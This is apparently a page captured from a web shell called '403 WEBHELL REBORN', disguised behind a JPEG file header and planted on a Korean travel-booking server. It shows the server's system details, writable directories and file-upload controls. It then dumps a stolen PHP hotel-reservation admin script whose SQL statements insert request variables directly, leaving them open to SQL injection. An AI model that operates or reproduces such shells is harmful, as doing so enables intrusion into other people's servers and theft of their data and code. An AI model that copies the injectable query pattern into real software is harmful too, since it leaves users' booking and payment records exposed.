ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/reservation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/reservation/person_reserve_proc.php
<?
/*
 * 호텔 객실 예약 처리
 *
 * 작성일 : 20130520
 * 작성자 : 허종
 * 
 * 수정이력 
 *  20130801_1 - 룸개수 카운터 기능에 따른 오버부킹 체크 부분[1->@room_cnt] 수정(허종)
 *  20130801_2 - 예약수정(상세)시에 객실추가 예약 기능 제거(허종)
 *  20130802_1 - @commission방식 -> @price_agent(대리점가) 방식으로 전환수정 (허종)
 * 
 */
include "../include/top_proc.html";
include "../reservation/_common.php";


$table = "TB_RES_HOTEL";


//호텔 객실 일정 예약
if($SqlType=="person_reservation_ins"){
	if(!$res_no) exit;

	// 객실일정요금 입력전 오버부킹 체크(20130624)
	// 객실예약일자별로 예약객실수를 array로 만든다.
	$roomchk_arr =array();
	for($i=0 ; $i<$roomdate_cnt ; $i++){
		$hseq = ${"hseq_".$i};
		if($hseq){
			$ridx = ${"ridx_".$i};
			$checkin_dt = ${"checkin_dt_".$i};
			$checkout_dt = ${"checkout_dt_".$i};
			$hdidx_str = ${"hdidx_str_".$i};
			$room_cnt = ${"room_cnt_".$i};// 룸갯수

			$hdidx_str_arr = explode(",",$hdidx_str);
			for($s=0 ; $s<count($hdidx_str_arr) ; $s++){
				$hdidx = $hdidx_str_arr[$s];
				if ( $hdidx ) {
					if ( !$roomchk_arr[$hdidx] ) $roomchk_arr[$hdidx] = $room_cnt;
					else $roomchk_arr[$hdidx] += $room_cnt;
				}
			}
		}
	}

	##print_r2($roomchk_arr); exit;

	$booking_yn = "Y";
	foreach($roomchk_arr as $key => $value){
		$sql = "select * from TB_HOTEL_DATE where hdidx='{$key}' and del_flag='N'";
		$rs = db_query($sql);
		$row = hotel_date_room_info($rs);
		$left_seat = $row[0]['left_seat'];
		$total_seat = $row[0]['total_seat'];
		$seat = $left_seat + $value; //(=기존 부킹수+부킹할 객실수)
			
		//예약불가(기존객실+부킹예정객실 할당블럭수를 초과할때 or 예약불가(reserv_yn=N))
		if($seat > $total_seat or $row[0]['reserv_yn'] == "N") $booking_yn = "N";
	}
	
	//오버부킹은 진행 안함(20130624)
	if($booking_yn=="N") error_msg("alert('오버부킹 객실이 있습니다.\\n확인해 주세요.');","script");
	//\객실일정요금 입력전 오버부킹 체크

	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	//호텔예약마스터 
	$sql = "insert into {$table} set ";
	$sql .= " res_no ='{$res_no}'";
	$sql .= " , res_dt='{$res_dt}'";
	//$sql .= " , res_stat_cd='{$res_stat_cd}'";
	$sql .= " , res_cust_id='{$res_cust_id}'";
	$sql .= " , res_cust_nm='{$res_cust_nm}'";
	$sql .= " , cust_nm='{$cust_nm}'";
	$sql .= " , tel='{$tel}'";
	$sql .= " , hp='{$hp}'";
	$sql .= " , adult_num='{$adult_num}'";
	$sql .= " , child_num='{$child_num}'";
	$sql .= " , cust_email='{$cust_email}'";
	$sql .= " , cust_nat_cd='{$cust_nat_cd}'";
	$sql .= " , option_memo='{$option_memo}'";
	$sql .= " , cust_memo='{$cust_memo}'";
	$sql .= " , admin_memo='{$admin_memo}'";
	$sql .= " , admin_tip='{$admin_tip}'";
	$sql .= " , ins_dt=now()";
	$sql .= " , ins_mb_id='{$MemberID}'";
	$sql .= " , admin_id='{$admin_id}'";
	$sql .= " , admin_nm='{$$admin_nm}' ";

	if($agent_id){
		$sql .= " , agent_id='{$agent_id}'";
		$sql .= " , agent_corp_nm='{$agent_corp_nm}'";
		$sql .= " , agent_nm='{$agent_nm}'";
		$sql .= " , agent_tel='{$agent_tel}'";
		$sql .= " , agent_email='{$agent_email}'";
		$sql .= " , agent_hp='{$agent_hp}'";
		$sql .= " , agent_fax='{$agent_fax}'";
	}

	db_query($sql);

	for($i=0 ; $i<$roomdate_cnt ; $i++){
		$hseq = ${"hseq_".$i};
		$hotel_code = ${"hotel_code_".$i};
		$ridx = ${"ridx_".$i};
		$hotel_nm = ${"hotel_nm_".$i};
		$room_type = ${"room_type_".$i};
		$checkin_dt = ${"checkin_dt_".$i};
		$checkout_dt = ${"checkout_dt_".$i};
		$price_cost_total = ${"price_cost_total_".$i};
		$price_sell_total = ${"price_sell_total_".$i};
		$price_agent_total = ${"price_agent_total_".$i};
		//$commission_total = ${"commission_total_".$i};
		$lodg_day = ${"lodg_day_".$i}; // 박수
		$room_cnt = ${"room_cnt_".$i}; // 객실수
		$price_total = ${"price_total_".$i};
		$hdidx_str = ${"hdidx_str_".$i};//추가(20130624)(호텔 객실일정요금seq)
		$res_stat_cd = ${"res_stat_cd_".$i}; // 예약상태

		if (!$res_stat_cd) $res_stat_cd = "R";

		//객실 일정 요금 입력
		if($hseq){
			$sql = "insert into {$table}_ROOM set ";
			$sql .= " res_no='{$res_no}' ";
			$sql .= " , agent_id='{$agent_id}'";
			$sql .= " , agent_corp_nm='{$agent_corp_nm}'";
			$sql .= " , hseq='{$hseq}'";
			$sql .= " , hotel_code='{$hotel_code}'";
			$sql .= " , ridx='{$ridx}'";
			$sql .= " , hotel_nm='{$hotel_nm}'";
			$sql .= " , room_type='{$room_type}'";
			$sql .= " , room_date='{$checkin_dt}'";
			$sql .= " , checkin_dt='{$checkin_dt}'";
			$sql .= " , checkout_dt='{$checkout_dt}'";
			$sql .= " , price_cost_total='{$price_cost_total}'";// 변경(20130624)
			$sql .= " , price_sell_total='{$price_sell_total}'";// 변경(20130624)
			$sql .= " , price_agent_total='{$price_agent_total}'";// 추가(20130802_1)
			//$sql .= " , commission_total='{$commission_total}'";// 변경(20130624),제거(20130802_1)
			$sql .= " , lodg_day='{$lodg_day}'";
			$sql .= " , room_cnt='{$room_cnt}'"; // 룸갯수
			$sql .= " , price_total='{$price_total}'";
			$sql .= " , zipcode='{$zipcode}'";
			$sql .= " , address='{$address}'";
			$sql .= " , address_d='{$address_d}'";
			$sql .= " , ins_dt=now()";
			$sql .= " , ins_mb_id='{$MemberID}'";
			$sql .= " , res_stat_cd='{$res_stat_cd}'";
			$sql .= " , admin_id='{$admin_id}'";
			$sql .= " , admin_nm='{$$admin_nm}' ";

			db_query($sql);

			//객실일정요금seq HISTORY 저장(20130624)
			$hdidx_str_arr = explode(",",$hdidx_str);
			for($s=0 ; $s<count($hdidx_str_arr) ; $s++){
				$hdidx = $hdidx_str_arr[$s];
				if($hdidx){
					$data=hotel_date($hseq,$ridx,$hdidx);
					$row = $data[0];
					
					$query = "insert into TB_RES_HOTEL_ROOM_HISTORY set ";
					$query .= " hseq='{$hseq}'";
					$query .= " ,ridx='{$ridx}'";
					$query .= " ,hdidx='{$hdidx}'";
					$query .= " ,room_type='{$room_type}'";
					$query .= " ,room_date='{$row[room_date]}'";
					$query .= " ,price_cost='{$row[price_cost]}'";
					$query .= " ,price_sell='{$row[price_sell]}'";
					$query .= " ,price_agent='{$row[price_agent]}'";// 추가(20130802_1)
					$query .= " ,res_no='{$res_no}'";
					$query .= " ,res_cust_id='{$res_cust_id}'";
					$query .= " ,res_cust_nm='{$res_cust_nm}'";
					$query .= " ,cust_nm='{$cust_nm}'";
					$query .= " ,agent_id='{$agent_id}'";
					$query .= " ,ins_dt=now() ";

					db_query($query);
				}
			}

			$room_date_arr = date_to_date($checkin_dt , $checkout_dt , "N" );

			//객실일정에 해당되는 객실블록 room_cnt씩증가
			for($s=0 ; $s<count($room_date_arr) ; $s++){
				hotel_roomdate_update($hseq , $ridx , $room_date_arr[$s]['date'] , "+{$room_cnt}");
			}

		}
		
	}
	
	//입출금  - 숙박비자동정산정보 계산
	account_customer_check($res_no);

	// 상담마스터에 res_no 저장
	if ($cseq){ 
		$arr_t = TO_good_module("all","L");
		$sql = "update TB_CONTAB set tab='L', tab_nm='{$arr_t[name]}',proc_stat_cd='CONT005', res_no='{$res_no}' where cseq='{$cseq}' ";
		db_query($sql);
	}

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	$mode = str_replace("_reg","",$mode);
		
	//error_msg("document.location.href='person_reserve_admin.html?mode={$mode}';","script");
	error_msg("document.location.href='../res_hotel/hotel_res_edit.html?res_no={$res_no}&tmp_layer_id={$tmp_layer_id}';","script");

//호텔 객실 일정 예약 정보수정
}elseif($SqlType=="person_reservation_edit"){
	if(!$res_no) exit;

	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	//호텔예약마스터 
	$sql = "update $table set ";
	$sql .= " res_dt='{$res_dt}'";
	//$sql .= " , res_stat_cd='{$res_stat_cd}'";
	$sql .= " , res_cust_id='{$res_cust_id}'";
	$sql .= " , res_cust_nm='{$res_cust_nm}'";
	$sql .= " , cust_nm='{$cust_nm}'";
	$sql .= " , tel='{$tel}'";
	$sql .= " , hp='{$hp}'";
	$sql .= " , adult_num='{$adult_num}'";
	$sql .= " , child_num='{$child_num}'";
	$sql .= " , cust_email='{$cust_email}'";
	$sql .= " , cust_nat_cd='{$cust_nat_cd}'";
	$sql .= " , option_memo='{$option_memo}'";
	$sql .= " , cust_memo='{$cust_memo}'";
	$sql .= " , admin_memo='{$admin_memo}'";
	$sql .= " , admin_tip='{$admin_tip}'";
	$sql .= " , edit_dt=now()";
	$sql .= " , ins_mb_id='{$MemberID}'";
	$sql .= " , admin_id='{$admin_id}'";
	$sql .= " , admin_nm='{$admin_nm}'";
	$sql .= " , order_state='{$order_state}'";

	if($agent_id){
		$sql .= " , agent_id='{$agent_id}'";
		$sql .= " , agent_corp_nm='{$agent_corp_nm}'";
		$sql .= " , agent_nm='{$agent_nm}'";
		$sql .= " , agent_tel='{$agent_tel}'";
		$sql .= " , agent_email='{$agent_email}'";
		$sql .= " , agent_hp='{$agent_hp}'";
		$sql .= " , agent_fax='{$agent_fax}'";
	}

	$sql .= " where res_no='{$res_no}' ";

	db_query($sql);
	

	// 예약 룸 타입 업데이트
	$sql = "update {$table}_ROOM set ";
	$sql .= "  admin_id='{$admin_id}'";
	$sql .= " , admin_nm='{$admin_nm}'";
	$sql .= " where res_no='{$res_no}' ";

	db_query($sql);

	if($res_stat_cd=="D"){ // 예약취소(D)
		$room_data = toad_res_hotel_roomdate(" and a.res_no='{$res_no}' ");
		
		// 기존 객실조회 후 해당객실 블록을 빼줌
		for($i=0 ; $i<count($room_data) ; $i++){
			$row = $room_data[$i];
			$room_cnt = $row['room_cnt'];

			$arr = date_to_date($row['checkin_dt'] , $row['checkout_dt'] , "N" );

			for($s=0 ; $s<count($arr) ; $s++){
				$rs = hotel_roomdate_update($row['hseq'] , $row['ridx'] , $arr[$s]['date'] , "-{$room_cnt}");
			}
		}
	
		// 객실예약내역(히스토리) 삭제
		$sql = "update TB_RES_HOTEL_ROOM_HISTORY set delflag='Y'  where res_no='{$res_no}'";
		
		db_query($sql);
	}

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	error_msg("document.location.href='../res_hotel/hotel_res_edit.html?res_no={$res_no}&{$_href}';","script");

//객실별 정보 삭제
}elseif($SqlType=="res_roomdate_delete"){
	if( !$res_no or !$idx) exit;

	//기존 객실조회 후 해당객실 블록을 빼줌
	$roomdate_data = toad_res_hotel_roomdate(" and a.idx='{$idx}' ","","1");

	$room_cnt = $roomdate_data[0]['room_cnt'];

	$room_date_arr = date_to_date($roomdate_data[0]['checkin_dt'] , $roomdate_data[0]['checkout_dt'] , "N" );
	for($s=0 ; $s<count($room_date_arr) ; $s++){
		hotel_roomdate_update($roomdate_data[0]['hseq'] , $roomdate_data[0]['ridx'] , $room_date_arr[$s]['date'] , "-{$room_cnt}");
	}


	//객실예약 삭제
	$sql = "update {$table}_ROOM set delflag='Y' ";
	$sql .= " where res_no='{$res_no}' and idx='{$idx}' ";

	db_query($sql);

	//객실예약history 삭제(20130624)
	$sql = "update {$table}_ROOM_HISTORY set delflag='Y' ";
	$sql .= " where res_no='{$res_no}' and ridx='".$roomdate_data[0]['ridx']."' ";

	db_query($sql);

	//입출금  - 숙박비자동정산정보 계산
	account_customer_check($res_no);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	//해당 테이블 삭제 & 입출금 다시기장
	error_msg("del_row('".$tabletr_id."');ajax_loader('../reservation/person_reserve_account_ajax.html?res_no={$res_no}','ajax_pgaccount');","script");

//바우쳐정보 저장
}elseif($SqlType=="voucher_edit"){
	if(!$idx) exit;

	$sql = "update {$table}_ROOM set ";
	$sql .= " vou_send_place='{$vou_send_place}'";
	$sql .= " ,vou_send_dt='{$vou_send_dt}'";
	$sql .= " ,vou_send_stat='{$vou_send_stat}'";
	$sql .= " ,ins_mb_id='{$MemberID}'";
	$sql .= " ,zipcode='{$zipcode}'";
	$sql .= " ,address='{$address}'";
	$sql .= " ,address_d='{$address_d}'";
	$sql .= " ,voucher_num='{$voucher_num}'";
	$sql .= " where idx='{$idx}' ";

	db_query($sql);

	//바우처버튼 상태 변경
	$vou_send_stat_str="발송전";
	if($vou_send_stat=="b") $vou_send_stat_str="발송완료";
	elseif($vou_send_stat=="c") $vou_send_stat_str="없음";
	
	error_msg("$('#voucher_num_{$id}').html('{$voucher_num}');$('#voucher_btn1_{$id}').val('{$vou_send_stat_str}');to_dialog.close('{$tmp_layer_id}');","script");

//입출금 기장정보 저장
}elseif($SqlType=="person_reservation_account_ins"){
	if(!$res_no) exit;

	$price_cost_plus = str_replace(",","",$price_cost_plus);
	$price_cost_minus = str_replace(",","",$price_cost_minus);
	$input_will_plus = str_replace(",","",$input_will_plus);
	$input_will_minus = str_replace(",","",$input_will_minus);
	$bank_plus = str_replace(",","",$bank_plus);
	$bank_minus = str_replace(",","",$bank_minus);
	$point_divide = str_replace(",","",$point_divide);

	if($pgcase_cd=="INST001"){//기초코드가 통장(INST001)
		$code_bank = base_codec("PRD","INBK",$bank_cd);//은행계좌 코드
		$bank_nm = $code_bank[0]['cd_nm'];//은행명
		$bank_number = $code_bank[0]['cd_memo'];//계좌번호
		$bank_owner = $code_bank[0]['cd_memo2'];//예금주
	}else{
		$bank_cd="";
		$bank_nm="";
		$bank_number="";
		$bank_owner="";
	}

	$sql = "insert into TB_ACCOUNT_CUSTOMER set ";
	$sql .= " res_no='{$res_no}' ";
	$sql .= " ,acc_dt='{$acc_dt}'";
	$sql .= " ,acnt_cd='{$acnt_cd}'";
	$sql .= " ,price_cost_plus='{$price_cost_plus}'";
	$sql .= " ,price_cost_minus='{$price_cost_minus}'";
	$sql .= " ,input_will_plus='{$input_will_plus}'";
	$sql .= " ,input_will_minus='{$input_will_minus}'";
	$sql .= " ,bank_plus='{$bank_plus}'";
	$sql .= " ,bank_minus='{$bank_minus}'";
	$sql .= " ,point_divide='{$point_divide}'";	
	$sql .= " ,pgcase_cd='{$pgcase_cd}'";
	$sql .= " ,bank_cd='{$bank_cd}'";
	$sql .= " ,bank_nm='{$bank_nm}'";
	$sql .= " ,bank_number='{$bank_number}'";
	$sql .= " ,bank_owner='{$bank_owner}'";
	$sql .= " ,ins_nm='{$ins_nm}'"; // 2014-11-13
	$sql .= " ,ins_dt=now()";
	$sql .= " ,ins_mb_id='{$MemberID}'";

	db_query($sql);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	error_msg("to_dialog.close('{$tmp_layer_id}');ajax_loader('../reservation/person_reserve_account_ajax.html?res_no={$res_no}','ajax_pgaccount');","script"); // 2014-11-13

//입출금 기장정보 수정
}elseif($SqlType=="person_reservation_account_edit"){
	if(!$res_no or !$pgacidx) exit;

	$price_cost_plus = str_replace(",","",$price_cost_plus);
	$price_cost_minus = str_replace(",","",$price_cost_minus);
	$input_will_plus = str_replace(",","",$input_will_plus);
	$input_will_minus = str_replace(",","",$input_will_minus);
	$bank_plus = str_replace(",","",$bank_plus);
	$bank_minus = str_replace(",","",$bank_minus);
	$point_divide = str_replace(",","",$point_divide);

	if($pgcase_cd=="INST001"){//기초코드가 통장(INST001)
		$code_bank = base_codec("PRD","INBK",$bank_cd);//은행계좌 코드
		$bank_nm = $code_bank[0]['cd_nm'];//은행명
		$bank_number = $code_bank[0]['cd_memo'];//계좌번호
		$bank_owner = $code_bank[0]['cd_memo2'];//예금주
	}else{
		$bank_cd="";
		$bank_nm="";
		$bank_number="";
		$bank_owner="";
	}

	$sql = "update TB_ACCOUNT_CUSTOMER set ";
	$sql .= " acc_dt='{$acc_dt}'";
	$sql .= " ,acnt_cd='{$acnt_cd}'";
	$sql .= " ,price_cost_plus='{$price_cost_plus}'";
	$sql .= " ,price_cost_minus='{$price_cost_minus}'";
	$sql .= " ,input_will_plus='{$input_will_plus}'";
	$sql .= " ,input_will_minus='{$input_will_minus}'";
	$sql .= " ,bank_plus='{$bank_plus}'";
	$sql .= " ,bank_minus='{$bank_minus}'";
	$sql .= " ,point_divide='{$point_divide}'";
	$sql .= " ,pgcase_cd='{$pgcase_cd}'";
	$sql .= " ,bank_cd='{$bank_cd}'";
	$sql .= " ,bank_nm='{$bank_nm}'";
	$sql .= " ,bank_number='{$bank_number}'";
	$sql .= " ,bank_owner='{$bank_owner}'";
	$sql .= " ,ins_nm='{$ins_nm}'";
	$sql .= " ,edit_dt=now()";
	$sql .= " ,ins_mb_id='{$MemberID}' ";
	$sql .= " where res_no='{$res_no}' and pgacidx='{$pgacidx}' ";

	db_query($sql);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	error_msg("to_dialog.close('{$tmp_layer_id}');ajax_loader('../reservation/person_reserve_account_ajax.html?res_no={$res_no}','ajax_pgaccount');","script");


//입출금 기장정보 삭제
}elseif($SqlType=="person_reservation_account_delete"){
	if(!$res_no or !$pgacidx) exit;

	$sql = "update TB_ACCOUNT_CUSTOMER set delflag='Y' where  res_no='{$res_no}' and pgacidx='{$pgacidx}'";

	db_query($sql);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");	
	
	error_msg("ajax_loader('../reservation/person_reserve_account_ajax.html?res_no={$res_no}','ajax_pgaccount');","script");

//예약정보 SMS 발송
}elseif($SqlType=="res_sms_send"){
	if(!$res_no or !$phone_number) exit;

	//회원정보
	$data = res_hotel($res_no);

	$sendtel = $TK_CF['shop_smsfrom'];// 보내는이 전화번호(상점)
	$recvtel = $phone_number;// 받는이 전화번호
	
	//발송 히스토리저장
	$sql = "insert into TB_SMS_HISTORY set admin_id='{$MemberID}',res_no='{$res_no}', mb_id='{$data[0]['mb_id']}', recv_tel='{$recvtel}', send_tel='{$sendtel}',message='{$message}', ins_dt=now();";
	db_query($sql);

	//SMS발송
	include "../../SetConf/fun_sendsms_utf.php"; //SMS
	$res = send_new_send("S",$sendtel,$recvtel,$message);
	
	error_msg("document.location.reload();","script");

// 예약정보 삭제(정산,입출금)
}elseif($SqlType=="delete_reserv"){
	if(!$res_no) exit;

	// 예약정보 마스터
	$sql = "delete from TB_RES_HOTEL where res_no='{$res_no}'";
	db_query($sql);

	// 예약정보 룸타입
	$sql = "delete from TB_RES_HOTEL_ROOM where res_no='{$res_no}'";
	db_query($sql);

	// 고객입출금 정보
	$sql = "delete from TB_ACCOUNT_CUSTOMER where res_no='{$res_no}'";
	db_query($sql);

	// 호텔정산 정보
	$sql = "delete from TB_ACCOUNT_HOTEL where res_no='{$res_no}'";
	db_query($sql);

	error_msg("document.location.reload();","script");
}

// 룸예약 확정처리
else if($SqlType=="res_roomdate_fix"){
	if( !$res_no or !$idx) exit;

	$sql = "update {$table}_ROOM set res_stat_cd='C' ";
	$sql .= " where res_no='{$res_no}' and idx='{$idx}' ";
	
	db_query($sql);
	
	error_msg("document.location.reload();","script");

// 룸예약 취소
}elseif($SqlType=="res_roomdate_cancel"){
	if( !$res_no or !$idx) exit;

	$roomdate_data = toad_res_hotel_roomdate(" and a.idx='{$idx}' ","","1");
	
	// 예약한 룸 개수
	$room_cnt = $roomdate_data[0]['room_cnt'];

	// 입실일 ~ 퇴실일 까지 날짜를 가져온다.
	$room_date_arr = date_to_date($roomdate_data[0]['checkin_dt'] , $roomdate_data[0]['checkout_dt'] , "N" );
	
	// 입실일 ~ 퇴실일 룸가격정보(TB_HOTEL_DATE)를 룸개수($room_cnt)만큼 환원한다.
	for($s=0 ; $s<count($room_date_arr) ; $s++)
	{
		hotel_roomdate_update( $roomdate_data[0]['hseq'] ,$roomdate_data[0]['ridx'] , $room_date_arr[$s]['date'] , "-{$room_cnt}");
	}

	// 룸예약 취소
	//$sql = "update {$table}_ROOM set delflag='Y' ";
	//$sql .= " where res_no='{$res_no}' and idx='{$idx}' ";
	$sql = "update {$table}_ROOM set res_stat_cd='D',cancel_dt=now() ";
	$sql .= " where res_no='{$res_no}' and idx='{$idx}' ";

	db_query($sql);

	// 객실예약history 삭제(20130624)
	//$sql = "update {$table}_ROOM_HISTORY set delflag='Y' ";
	//$sql .= " where res_no='{$res_no}' and ridx='".$roomdate_data[0]['ridx']."' ";
	//db_query($sql);


	// 입출금  - 숙박비자동정산정보 계산
	account_customer_check($res_no);

	//해당 테이블 삭제 & 입출금 다시기장
	// error_msg("del_row('".$tabletr_id."');ajax_loader('../reservation/person_reserve_account_ajax.html?res_no={$res_no}','ajax_pgaccount');","script");

	error_msg("document.location.reload();","script");
}



?>

Anon7 - 2021